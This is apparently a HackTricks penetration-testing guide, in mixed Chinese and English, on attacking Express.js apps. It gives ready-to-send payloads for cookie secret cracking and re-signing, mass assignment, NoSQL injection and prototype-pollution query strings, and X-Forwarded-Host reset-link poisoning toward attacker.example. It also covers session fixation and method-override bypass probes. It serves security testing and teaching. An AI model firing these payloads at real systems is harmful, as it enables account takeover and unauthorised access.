NodeJS Express
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
快速指纹识别
在 recon 期间有用的 Express 指示器:
X-Powered-By: Expressor stack traces mentioningexpress,body-parser,qs,cookie-parser,express-session, orfinalhandler- Cookies prefixed with
s:(signed cookie) orj:(JSON cookie) - Session cookies such as
connect.sid - Hidden form fields or query parameters such as
_method=PUT/_method=DELETE - Error pages leaking
Cannot GET /path,Cannot POST /path,Unexpected tokeninbody-parser, orURIErrorduring query parsing
当确认使用 Express 时,应重点关注 middleware chain,因为大多数有趣的漏洞来自 parsers、proxy trust、session handling 和 method-tunneling,而不是框架核心本身。
Cookie 签名
The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.
Express 通常暴露两种有用的 cookie 格式:
s:<value>.<sig>signed cookies handled bycookie-parserorexpress-sessionj:<json>JSON cookies that are automatically parsed bycookie-parser
If cookie-parser receives a signed cookie and the signature is invalid, the value becomes false instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.
具有特定名称的单个 cookie
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
自定义字典
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
使用批处理模式测试多个 cookies
cookie-monster -b -f cookies.json
使用 batch mode 和 custom wordlist 测试多个 cookies
cookie-monster -b -f cookies.json -w custom.lst
对新 cookie 进行编码并签名
如果你知道 secret,你就可以为 cookie 签名。
cookie-monster -e -f new_cookie.json -k secret
查询字符串和 URL 编码解析器滥用
当 Express 将攻击者控制的键解析为嵌套对象时,会变得值得关注。
req.query可以配置不同的解析器,包括qsexpress.urlencoded({ extended: true })对application/x-www-form-urlencoded使用qs风格的解析- 嵌套解析会在解析得到的对象被合并到应用状态时,触发 object injection、mass assignment、NoSQL injection 和 prototype pollution 链
Practical payloads to try:
# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'
# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'
# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update' -H 'Content-Type: application/x-www-form-urlencoded' --data 'profile[role]=admin&filters[$ne]=x'
如果应用反射或持久化生成的对象,请转到专门的页面查看利用细节:
Express Prototype Pollution Gadgets
针对 Express 特别值得发起的额外测试:
- 深度嵌套,以检测解析器限制、超时或 400/413 响应差异
- 重复键,以观察应用是否保留第一个值、最后一个值,或将其变为数组
- 方括号语法,例如
a[b][c]=1,点语法例如a.b=1,以及__proto__/constructor[prototype]payloads
trust proxy 滥用
如果应用使用 app.set("trust proxy", true) 或 信任过多跳数,Express 会从转发头派生出与安全相关的值。如果反向代理不覆盖这些头,客户端就可以直接伪造它们。
这会影响:
req.hostnameviaX-Forwarded-Hostreq.protocolviaX-Forwarded-Protoreq.ip/req.ipsviaX-Forwarded-For
这在以下情况有用:
- Password reset poisoning and absolute URL poisoning
- Bypassing IP-based allowlists, rate limits, or audit trails
- 影响基于
req.protocol的应用中securecookie 处理和仅 HTTPS 的逻辑 - Poisoning redirects or cacheable responses when the app templates absolute links with forwarded host/proto headers
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json
{"email":"victim@target.example"}
检查生成的链接、重定向位置、日志或访问控制决策是否现在使用攻击者提供的值。
Related pages:
Reset/Forgotten Password Bypass
Cache Poisoning and Cache Deception
express-session 测试说明
常见的 Express 部署使用 express-session,它对会话标识 cookie 进行签名,但将真实状态存储在服务器端。
有用的检查:
- Session fixation: 使用登录前的 cookie 进行认证,并验证登录后 SID 是否保持不变
- Weak secret rotation: 某些部署用一组旧密钥来验证 cookie,因此先前有效的签名可能仍然可以工作
saveUninitialized: true: 应用会为匿名用户发放预认证会话,这使 fixation 更容易,并增加了会话在 brute-force 或 cache analysis 中的攻击面MemoryStore在生产环境通常表示运维成熟度较弱,并且在重启时会导致会话行为不稳定
一个实用的 fixation 工作流程:
- 从目标获取一个匿名会话 cookie。
- 将该 cookie 发送给受害者或自己使用它进行认证。
- 检查登录是否将认证状态绑定到现有的 SID。
- 如果是,便在另一个浏览器会话中重放相同的 cookie。
如果应用在认证后没有调用 req.session.regenerate(),通常仍然可以实现 fixation。
Method Override Tunneling
一些 Express 应用使用 method-override 来隧道传输 HTML 表单无法原生发送的 HTTP 动词。启用时,始终测试是否可以 smuggle 危险方法通过前端、WAF 或 CSRF 逻辑认为仅为 POST 的路由。
Typical probes:
POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded
confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
role=admin
有趣的影响:
- 通过仅允许
POST的 edge control 访问隐藏的PUT/PATCH/DELETE路由 - 绕过仅检查
req.method的 route-specific middleware - 当应用只验证外层请求方法时,通过 CSRF 触发会改变状态的处理器
默认情况下,middleware 通常只覆盖 POST,因此优先针对包含 header、body 和 query-string 覆盖值的 POST 请求。
参考资料
- https://expressjs.com/en/guide/behind-proxies.html
- https://portswigger.net/research/server-side-prototype-pollution
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


